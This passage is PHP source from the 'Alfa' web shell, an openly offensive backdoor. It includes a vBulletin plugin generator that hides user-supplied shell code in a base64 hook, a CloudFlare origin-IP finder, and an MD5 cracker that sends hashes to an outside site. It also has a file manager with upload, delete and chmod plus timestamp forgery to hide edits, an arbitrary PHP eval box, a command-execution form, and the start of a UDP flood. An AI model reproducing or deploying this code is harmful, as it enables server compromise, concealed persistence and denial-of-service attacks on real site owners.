  609. // if (preg_match("/<UL><LI>(.*?): $url (.*?) (.*?)<\/UL>/s",$content,$find)){
  610. return $find[1];
  611. }
  612. else {
  613. return 'Error';
  614. }
  615. curl_close($login);
  616. }
  617. $me = $argv[0];
  618. $url = $_POST['alfa1'];
  619. if(!preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url)){
  620. $url = preg_replace('/^(https?):\/\//', '', $url);
  621. $url = "http://www.".$url;
  622. }
  623. $headers = get_headers($url, 1);
  624. $server = $headers['Server'];
  625. $subs = array('cpanel.', 'ftp.', 'server1.', 'cdn.', 'cdn2.', 'ns.', 'ns1.', 'mail.', 'webmail.', 'direct.', 'direct-connect.', 'record.', 'ssl.', 'dns.', 'help.', 'blog.', 'irc.', 'forum.');
  626. $count = count($subs);
  627. if(preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url, $matches))
  628. {
  629. if($matches[2] != 'www')
  630. {
  631. $url = preg_replace('/^(https?):\/\//', '', $url);
  632. }
  633. else
  634. {
  635. $url = explode($matches[0], $url);
  636. $url = $url[1];
  637. }
  638. }
  639. if(is_array($server))
  640. $server = $server[0];
  641. echo '<pre id="strOutput" style="margin-top:8px" class="ml1"><br/>';
  642. if(preg_match('/cloudflare/i', $server))
  643. echo "\n[+] CloudFlare detected: {$server}\n<br>";
  644. else
  645. echo "\n[+] CloudFlare wasn't detected, proceeding anyway.\n";
  646. echo '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . "\n\n<br><br>";
  647. echo "[+] Searching for more IP addresses.\n\n<br><br>";
  648. for($x = 0; $x < $count; $x++)
  649. {
  650. $site = $subs[$x] . $url;
  651. $ip = is_ipv4(gethostbyname($site));
  652. if($ip == '(Null)')
  653. continue;
  654. echo "Trying {$site}: {$ip}\n<br>";
  655. }
  656. // echo getipCloudFlare($url)."<br>";
  657. echo "\n[+] Finished.\n<br>";
  658. }
  659. echo '</div>';
  660. alfafooter();
  661. }
  662. function alfaphp2xml(){
  663. alfahead();
  664. echo"<script>alfa1_=alfa2_=\"\"</script>
  665. <div class=header><center>
  666. <b><b><br><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">Shell</font> <font color=\"#FFFFFF\">For</font> <font color=\"#FF0000\">vBulletin</font><font color=\"#FFFF01\"> ==</font></b>
  667. <form action='' onsubmit=\"g('php2xml',null,this.code.value,this.go.value); return false;\" method='post'>
  668. <p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert your shell code\"></textarea><br/><br/>
  669. <input type='submit' name='go' value='Convert' />&nbsp;&nbsp;<input type='reset' value='Clear' name='B2'><br/><br/>
  670. </p>
  671. </form></center>";
  672. if($_POST['alfa2'] && $_POST['alfa2'] == 'Convert' ) {
  673. if ( get_magic_quotes_gpc() ){
  674. $code=stripslashes($_POST['alfa1']);
  675. }
  676. else{
  677. $code=$_POST['alfa1'];
  678. }
  679. $code = 'base64_decode('.$code.')';
  680. $sole = 'PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI/Pg0KDQo8cGx1Z2lucz4NCgk8cGx1Z2luIGFjdGl2ZT0iMSIgcHJvZHVjdD0idmJ1bGxldGluIj4NCgkJPHRpdGxlPnZCdWxsZXRpbjwvdGl0bGU+DQoJCTxob29rbmFtZT5pbml0X3N0YXJ0dXA8L2hvb2tuYW1lPg0KCQk8cGhwY29kZT48IVtDREFUQVtpZiAoc3RycG9zKCRfU0VSVkVSWydQSFBfU0VMRiddLCJzdWJzY3JpcHRpb25zLnBocCIpKSB7';
  681. $invis = 'ZXhpdDsNCn1dXT48L3BocGNvZGU+DQoJPC9wbHVnaW4+DQo8L3BsdWdpbnM+';
  682. echo"<pre id=\"strOutput\" style=\"margin-top:8px\" class=\"ml1\"><br/><center><textarea rows='10' name='users' cols='80' style='border: 2px dashed #1D1D1D; background-color: #000000; color:#C0C0C0'>";
  683. echo base64_decode("$sole").'base64_decode(\''.base64_encode($code).'\');'.base64_decode("$invis");
  684. echo '</textarea></center><br>';
  685. }
  686. echo '</center></div>';
  687. alfafooter();
  688. }
  689. function alfacpcrack()
  690. {
  691. alfahead();
  692. echo '<div class=header>';
  693. function cracker($pass){
  694. $url = "http://md5online.org";
  695. $login_data = "md5=$pass&search=0&action=decrypt&a=63443026";
  696. $login = curl_init();
  697. curl_setopt($login, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0');
  698. curl_setopt($login, CURLOPT_TIMEOUT, 40);
  699. curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);
  700. curl_setopt($login, CURLOPT_URL, $url);
  701. curl_setopt($login, CURLOPT_HEADER, 1);
  702. curl_setopt($login, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  703. curl_setopt($login, CURLOPT_FOLLOWLOCATION, 1);
  704. curl_setopt($login, CURLOPT_POST, 1);
  705. curl_setopt($login, CURLOPT_POSTFIELDS, $login_data);
  706. $content= curl_exec($login);
  707. if (preg_match("/<span style='color:limegreen'>Found : <b>(.*?)<\/b><\/span>/s",$content,$find)){
  708. return '<table border="1"><td>'.'<font color=white></font>'.' <font color=white>Found : </font><b><font color=lightgreen>'.$find[1].'</font></b></td></table><br>';
  709. }
  710. else {
  711. return '<table border="1"><td>'.'<font color=white>[+]</font>'.' <font color=white>No result found -></font> '.'<b><font color=red>'.$pass .'</font></b></td></table><br>';
  712. }
  713. curl_close($login);
  714. }
  715. echo '<center><script>alfa6_=alfa7_=alfa9_=\"\"</script>
  716. <form onsubmit="g(\'cpcrack\',null,this.md5.value,this.go.value); return false;" method="post" action="" />
  717. <input type="text" placeholder="Hash" name="md5" size="40" id="text" />
  718. <input type="submit" value=">>" name="go" />
  719. </form></center>
  720. ';
  721. if($_POST['alfa2'] == '>>'){
  722. $hash = $_POST['alfa1'];
  723. $res = cracker($hash);
  724. echo '<pre id="strOutput" style="margin-top:8px" class="ml1"><br/><center>'.$res.'</center>';
  725. }
  726. echo '</div>';
  727. alfafooter();
  728. }
  729. function alfafooter()
  730. {
  731. echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >
  732. <tr>
  733. <td width='17%'><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span><font color=#27979B>Make File : </font></span><br><input class='dir' type=text name=f value=''><input type=submit value='>>'></form></td>
  734. <td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span><font color=#27979B>Make Dir : </font></span><br><input class='dir' type=text name=d value=''><input type=submit value='>>'></form></td>
  735. <td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);return false;\"><span><font color=#27979B>Delete : </font></span><br><input class='dir' type=text name=del value=''><input type=submit value='>>'></form></td>
  736. <td width='19%'><form onsubmit=\"g('FilesTools',null,this.f.value,'chmod');return false;\"><span><font color=#27979B>Chmod : </font></span><br><input class='dir' type=text name=f value=''><input type=submit value='>>'></form></td>
  737. </tr>
  738. <tr>
  739. <td colspan='2'><form onsubmit='g(null,this.c.value,\"\");return false;'><span><font color=#27979B>Change Dir : </font></span><br><input class='foottable' type=text name=c value='".htmlspecialchars($GLOBALS['cwd'])."'><input type=submit value='>>'></form></td>
  740. <td colspan='2'><form method='post' ><span><font color=#27979B>Http Download : </font></span><br><input class='foottable' type=text name=rtdown value=''><input type=submit value='>>'></form></td>
  741. </tr>
  742. <tr>
  743. <td colspan='4'><form onsubmit=\"g('proc',null,this.c.value);return false;\"><span><font color=#27979B>Execute : </font></span><br><input class='foottable' type=text name=c value=''><input type=submit value='>>'></form></td>
  744. </tr>
  745. <tr>
  746. <td colspan='4'><form method='post' ENCTYPE='multipart/form-data'>
  747. <input type=hidden name=a value='FilesMAn'>
  748. <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  749. <input type=hidden name=alfa1 value='uploadFile'>
  750. <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  751. <span><font color=#27979B>Upload file:</font></span><br><input class='toolsInp' type=file name=f><br /><input type=submit value='>>'></form></td>
  752. </tr>
  753. </table>
  754. </div>
  755. </body>
  756. </html>
  757. ";
  758. }
  759. if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
  760. function posix_getpwuid($p) {return false;} }
  761. if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
  762. function posix_getgrgid($p) {return false;} }
  763. function alfaWhich($p) {
  764. $path = alfaEx('which ' . $p);
  765. if(!empty($path))
  766. return $path;
  767. return false;
  768. }
  769. function alfaSize($s) {
  770. if($s >= 1073741824)
  771. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  772. elseif($s >= 1048576)
  773. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  774. elseif($s >= 1024)
  775. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  776. else
  777. return $s . ' B';
  778. }
  779. function alfaPerms($p) {
  780. if (($p & 0xC000) == 0xC000)$i = 's';
  781. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  782. elseif (($p & 0x8000) == 0x8000)$i = '-';
  783. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  784. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  785. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  786. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  787. else $i = 'u';
  788. $i .= (($p & 0x0100) ? 'r' : '-');
  789. $i .= (($p & 0x0080) ? 'w' : '-');
  790. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  791. $i .= (($p & 0x0020) ? 'r' : '-');
  792. $i .= (($p & 0x0010) ? 'w' : '-');
  793. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  794. $i .= (($p & 0x0004) ? 'r' : '-');
  795. $i .= (($p & 0x0002) ? 'w' : '-');
  796. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  797. return $i;
  798. }
  799. function alfaPermsColor($f) {
  800. if (!@is_readable($f))
  801. return '<font color=#FF0000>' . alfaPerms(@fileperms($f)) . '</font>';
  802. elseif (!@is_writable($f))
  803. return '<font color=white>' . alfaPerms(@fileperms($f)) . '</font>';
  804. else
  805. return '<font color=#25ff00>' . alfaPerms(@fileperms($f)) . '</font>';
  806. }
  807. if(!function_exists("scandir")) {
  808. function scandir($dir) {
  809. $dh = opendir($dir);
  810. while (false !== ($filename = readdir($dh)))
  811. $files[] = $filename;
  812. return $files;
  813. }
  814. }
  815. function alfaFilesMan() {
  816. alfahead();
  817. echo '<div class=header><script>alfa1_=alfa2_=alfa3_="";</script>';
  818. if(!empty($_POST['alfa1'])) {
  819. switch($_POST['alfa1']) {
  820. case 'uploadFile':
  821. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  822. echo "<b><font color=\"#FFFFFF\">Can't upload file<b></font>";
  823. break;
  824. case 'mkdir':
  825. if(!@mkdir($_POST['alfa2']))
  826. echo "<b><font color=\"#FFFFFF\">Can't create new dir<b></font>";
  827. break;
  828. case 'delete':
  829. function deleteDir($path) {
  830. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  831. $dh = opendir($path);
  832. while ( ($item = readdir($dh) ) !== false) {
  833. $item = $path.$item;
  834. if ( (basename($item) == "..") || (basename($item) == ".") )
  835. continue;
  836. $type = filetype($item);
  837. if ($type == "dir")
  838. deleteDir($item);
  839. else
  840. @unlink($item);
  841. }
  842. closedir($dh);
  843. @rmdir($path);
  844. }
  845. if(is_dir(@$_POST['alfa2']))
  846. deleteDir(@$_POST['alfa2']);
  847. else
  848. @unlink(@$_POST['alfa2']);
  849. break;
  850. default:
  851. if(!empty($_POST['alfa1'])) {
  852. $_SESSION['act'] = @$_POST['alfa1'];
  853. $_SESSION['f'] = @$_POST['f'];
  854. foreach($_SESSION['f'] as $k => $f)
  855. $_SESSION['f'][$k] = urldecode($f);
  856. $_SESSION['c'] = @$_POST['c'];
  857. }
  858. break;
  859. }
  860. }
  861. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  862. if($dirContent === false) { echo '<h3><span>| Access Denied :( |</span></h3></div>';alfaFooter(); return; }
  863. global $sort;
  864. $sort = array('name', 1);
  865. if(!empty($_POST['alfa1'])) {
  866. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['alfa1'], $match))
  867. $sort = array($match[1], (int)$match[2]);
  868. }
  869. echo "
  870. <table width='100%' class='main' cellspacing='0' cellpadding='2' >
  871. <form name=files method=post><tr><th><font color=\"#FFFFFF\"><b>Name</font></b></th><th><font color=\"#FFFFFF\"><b>Size<font></b></th><th><font color=\"#FFFFFF\"><b>Modify</b></font></th><th><font color=\"#FFFFFF\"><b>Owner/Group</font></b></th><th><font color=\"#FFFFFF\"><b>Permissions</font></b></th><th><font color=\"#FFFFFF\"><b>Actions</b></font></th></tr>";
  872. $dirs = $files = array();
  873. $n = count($dirContent);
  874. for($i=0;$i<$n;$i++) {
  875. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  876. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  877. $tmp = array('name' => $dirContent[$i],
  878. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  879. 'modify' => @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  880. 'perms' => alfaPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  881. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  882. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  883. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  884. );
  885. if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  886. $files[] = array_merge($tmp, array('type' => 'file'));
  887. elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  888. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  889. elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
  890. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  891. }
  892. $GLOBALS['sort'] = $sort;
  893. function wsoCmp($a, $b) {
  894. if($GLOBALS['sort'][0] != 'size')
  895. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  896. else
  897. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  898. }
  899. usort($files, "wsoCmp");
  900. usort($dirs, "wsoCmp");
  901. $files = array_merge($dirs, $files);
  902. $l = 0;
  903. foreach($files as $f) {
  904. echo '<tr'.($l?' class=l1':'').'><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td><td>'.(($f['type']=='file')?alfaSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  905. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'<a href="#" onclick="g(\'FilesMan\',null,\'delete\', \''.urlencode($f['name']).'\')"> X </a></td></tr>';
  906. $l = $l?0:1;
  907. }
  908. echo "<tr><td colspan=7>
  909. <input type=hidden name=a value='FilesMan'>
  910. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  911. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  912. </form></table></div>";
  913. alfafooter();
  914. }
  915. function alfaFilesTools() {
  916. if( isset($_POST['alfa1']) )
  917. $_POST['alfa1'] = urldecode($_POST['alfa1']);
  918. if(@$_POST['alfa2']=='download') {
  919. if(@is_file($_POST['alfa1']) && @is_readable($_POST['alfa1'])) {
  920. ob_start("ob_gzhandler", 4096);
  921. header("Content-Disposition: attachment; filename=".basename($_POST['alfa1']));
  922. if (function_exists("mime_content_type")) {
  923. $type = @mime_content_type($_POST['alfa1']);
  924. header("Content-Type: " . $type);
  925. } else
  926. header("Content-Type: application/octet-stream");
  927. $fp = @fopen($_POST['alfa1'], "r");
  928. if($fp) {
  929. while(!@feof($fp))
  930. echo @fread($fp, 1024);
  931. fclose($fp);
  932. }
  933. }exit;
  934. }
  935. if( @$_POST['alfa2'] == 'mkfile' ) {
  936. if(!file_exists($_POST['alfa1'])) {
  937. $fp = @fopen($_POST['alfa1'], 'w');
  938. if($fp) {
  939. $_POST['alfa2'] = "edit";
  940. fclose($fp);
  941. }
  942. }
  943. }
  944. alfahead();
  945. echo '<div class=header>';
  946. if( !file_exists(@$_POST['alfa1']) ) {
  947. echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#ffffff\">FILE DOEST NOT EXITS(Deleted)<b></font> </pre></div>";
  948. alfaFooter();
  949. return;
  950. }
  951. $uid = @posix_getpwuid(@fileowner($_POST['alfa1']));
  952. if(!$uid) {
  953. $uid['name'] = @fileowner($_POST['alfa1']);
  954. $gid['name'] = @filegroup($_POST['alfa1']);
  955. } else $gid = @posix_getgrgid(@filegroup($_POST['alfa1']));
  956. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['alfa1'])).' <span>Size:</span> '.(is_file($_POST['alfa1'])?alfaSize(filesize($_POST['alfa1'])):'-').' <span>Permission:</span> '.alfaPermsColor($_POST['alfa1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  957. echo '<br>';
  958. if( empty($_POST['alfa2']) )
  959. $_POST['alfa2'] = 'view';
  960. if( is_file($_POST['alfa1']) )
  961. $m = array('View', 'Highlight', 'Download', 'Edit', 'Chmod', 'Rename', 'Touch');
  962. else
  963. $m = array('Chmod', 'Rename', 'Touch');
  964. foreach($m as $v)
  965. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')"><span>'.((strtolower($v)==@$_POST['alfa2'])?'<b><span> '.$v.' </span> </b>':$v).' </span></a> ';
  966. echo '<br><br>';
  967. switch($_POST['alfa2']) {
  968. case 'view':
  969. echo '<pre class=ml1>';
  970. $fp = @fopen($_POST['alfa1'], 'r');
  971. if($fp) {
  972. while( !@feof($fp) )
  973. echo htmlspecialchars(@fread($fp, 1024));
  974. @fclose($fp);
  975. }
  976. echo '</pre>';
  977. break;
  978. case 'highlight':
  979. if( @is_readable($_POST['alfa1']) ) {
  980. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  981. $code = @highlight_file($_POST['alfa1'],true);
  982. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  983. }
  984. break;
  985. case 'chmod':
  986. if( !empty($_POST['alfa3']) ) {
  987. $perms = 0;
  988. for($i=strlen($_POST['alfa3'])-1;$i>=0;--$i)
  989. $perms += (int)$_POST['alfa3'][$i]*pow(8, (strlen($_POST['alfa3'])-$i-1));
  990. if(!@chmod($_POST['alfa1'], $perms))
  991. echo '<font color="#FFFFFF"><b>Can\'t set permissions!</b></font><br><script>document.mf.alfa3.value="";</script>';
  992. }
  993. clearstatcache();
  994. echo '<script>alfa3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['alfa1'])),-4).'"><input type=submit value=">>"></form>';
  995. break;
  996. case 'edit':
  997. if( !is_writable($_POST['alfa1'])) {
  998. echo 'File isn\'t writeable';
  999. break;
  1000. }
  1001. if( !empty($_POST['alfa3']) ) {
  1002. $time = @filemtime($_POST['alfa1']);
  1003. $_POST['alfa3'] = substr($_POST['alfa3'],1);
  1004. $fp = @fopen($_POST['alfa1'],"w");
  1005. if($fp) {
  1006. @fwrite($fp,$_POST['alfa3']);
  1007. @fclose($fp);
  1008. echo 'Saved!<br><script>alfa3_="";</script>';
  1009. @touch($_POST['alfa1'],$time,$time);
  1010. }
  1011. }
  1012. echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  1013. $fp = @fopen($_POST['alfa1'], 'r');
  1014. if($fp) {
  1015. while( !@feof($fp) )
  1016. echo htmlspecialchars(@fread($fp, 1024));
  1017. @fclose($fp);
  1018. }
  1019. echo '</textarea><input type=submit value=">>"></form>';
  1020. break;
  1021. case 'hexdump':
  1022. $c = @file_get_contents($_POST['alfa1']);
  1023. $n = 0;
  1024. $h = array('00000000<br>','','');
  1025. $len = strlen($c);
  1026. for ($i=0; $i<$len; ++$i) {
  1027. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  1028. switch ( ord($c[$i]) ) {
  1029. case 0: $h[2] .= ' '; break;
  1030. case 9: $h[2] .= ' '; break;
  1031. case 10: $h[2] .= ' '; break;
  1032. case 13: $h[2] .= ' '; break;
  1033. default: $h[2] .= $c[$i]; break;
  1034. }
  1035. $n++;
  1036. if ($n == 32) {
  1037. $n = 0;
  1038. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  1039. $h[1] .= '<br>';
  1040. $h[2] .= "\n";
  1041. }
  1042. }
  1043. echo '<table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  1044. break;
  1045. case 'rename':
  1046. if( !empty($_POST['alfa3']) ) {
  1047. if(!@rename($_POST['alfa1'], $_POST['alfa3']))
  1048. echo 'Can\'t rename!<br>';
  1049. else
  1050. die('<script>g(null,null,"'.urlencode($_POST['alfa3']).'",null,"")</script>');
  1051. }
  1052. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['alfa1']).'"><input type=submit value=">>"></form>';
  1053. break;
  1054. case 'touch':
  1055. if( !empty($_POST['alfa3']) ) {
  1056. $time = strtotime($_POST['alfa3']);
  1057. if($time) {
  1058. if(!touch($_POST['alfa1'],$time,$time))
  1059. echo 'Fail!';
  1060. else
  1061. echo 'Touched!';
  1062. } else echo 'Bad time format!';
  1063. }
  1064. clearstatcache();
  1065. echo '<script>alfa3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['alfa1'])).'"><input type=submit value=">>"></form>';
  1066. break;
  1067. }
  1068. echo '</div>';
  1069. alfaFooter();
  1070. }
  1071. function alfaphpeval()
  1072. {
  1073. alfahead();
  1074. if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'ini')) {
  1075. echo '<div class=header>';
  1076. ob_start();
  1077. $INI=ini_get_all();
  1078. print '<table border=0><tr>'
  1079. .'<td class="listing"><font class="highlight_txt">Param</td>'
  1080. .'<td class="listing"><font class="highlight_txt">Global value</td>'
  1081. .'<td class="listing"><font class="highlight_txt">Local Value</td>'
  1082. .'<td class="listing"><font class="highlight_txt">Access</td></tr>';
  1083. foreach ($INI as $param => $values)
  1084. print "\n".'<tr>'
  1085. .'<td class="listing"><b>'.$param.'</td>'
  1086. .'<td class="listing">'.$values['global_value'].' </td>'
  1087. .'<td class="listing">'.$values['local_value'].' </td>'
  1088. .'<td class="listing">'.$values['access'].' </td></tr>';
  1089. $tmp = ob_get_clean();
  1090. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  1091. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  1092. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  1093. }
  1094. if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'info')) {
  1095. echo '<div class=header><style>.p {color:#000;}</style>';
  1096. ob_start();
  1097. phpinfo();
  1098. $tmp = ob_get_clean();
  1099. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  1100. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  1101. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  1102. }
  1103. if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'exten')) {
  1104. echo '<div class=header>';
  1105. ob_start();
  1106. $EXT=get_loaded_extensions ();
  1107. print '<table border=0><tr><td class="listing">'
  1108. .implode('</td></tr>'."\n".'<tr><td class="listing">', $EXT)
  1109. .'</td></tr></table>'
  1110. .count($EXT).' extensions loaded';
  1111. echo '</div><br>';
  1112. }
  1113. if(empty($_POST['ajax']) && !empty($_POST['alfa1']))
  1114. $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  1115. echo '<div class=header><Center><a href=# onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=# onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=# onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,\'\'); return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['alfa1'])?htmlspecialchars($_POST['alfa1']):'').'</textarea><center><input type=submit value=Eval style="margin-top:5px"></center>';
  1116. echo '</form><pre id=PhpOutput style="'.(empty($_POST['alfa1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  1117. if(!empty($_POST['alfa1'])) {
  1118. ob_start();
  1119. eval($_POST['alfa1']);
  1120. echo htmlspecialchars(ob_get_clean());
  1121. }
  1122. echo '</pre></div>';
  1123. alfafooter();
  1124. }
  1125. function alfahash()
  1126. {
  1127. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  1128. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  1129. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  1130. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  1131. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  1132. $stringTools = array(
  1133. 'Base64 encode' => 'base64_encode',
  1134. 'Base64 decode' => 'base64_decode',
  1135. 'md5 hash' => 'md5',
  1136. 'sha1 hash' => 'sha1',
  1137. 'crypt' => 'crypt',
  1138. 'CRC32' => 'crc32',
  1139. 'Url encode' => 'urlencode',
  1140. 'Url decode' => 'urldecode',
  1141. 'Full urlencode' => 'full_urlencode',
  1142. 'Htmlspecialchars' => 'htmlspecialchars',
  1143. );
  1144. alfahead();
  1145. echo '<div class=header>';
  1146. if(empty($_POST['ajax'])&&!empty($_POST['alfa1']))
  1147. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1148. echo "<form onSubmit='g(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>";
  1149. foreach($stringTools as $k => $v)
  1150. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  1151. echo "</select><input type='submit' value='>>'/><br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['alfa1'])?'':htmlspecialchars(@$_POST['alfa2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['alfa1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  1152. if(!empty($_POST['alfa1'])) {
  1153. if(in_array($_POST['alfa1'], $stringTools))echo htmlspecialchars($_POST['alfa1']($_POST['alfa2']));
  1154. }
  1155. echo "</div>";
  1156. alfaFooter();
  1157. }
  1158. function alfados()
  1159. {
  1160. alfahead();
  1161. echo '<div class=header>';
  1162. if(empty($_POST['ajax'])&&!empty($_POST['alfa1']))
  1163. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1164. echo '<center><span>| UDP |</span><br><br><form onSubmit="g(null,null,this.udphost.value,this.udptime.value,this.udpport.value); return false;" method=POST><span>Host : </span><input name="udphost" type="text" size="25" /><span> Time : </span><input name="udptime" type="text" size="15" /><span> Port : </span><input name="udpport" type="text" size="10" /><input type="submit" value=">>" /></form></center>';
  1165. echo "<pre class='ml1' style='".(empty($_POST['alfa1'])?'display:none;':'')."margin-top:5px' >";
  1166. if(!empty($_POST['alfa1']) && !empty($_POST['alfa2']) && !empty($_POST['alfa3']))
  1167. {
  1168. $packets=0;
  1169. ignore_user_abort(true);
  1170. $exec_time=$_POST['alfa2'];
  1171. $time=time();
  1172. $max_time=$exec_time+$time;
  1173. $host=$_POST['alfa1'];
  1174. $portudp=$_POST['alfa3'];
  1175. for($i=0;$i<65000;$i++)
  1176. {
  1177. $out .= 'X';
  1178. }
  1179. while(1){
  1180. $packets++;
  1181. if(time() > $max_time){
  1182. break;
  1183. }
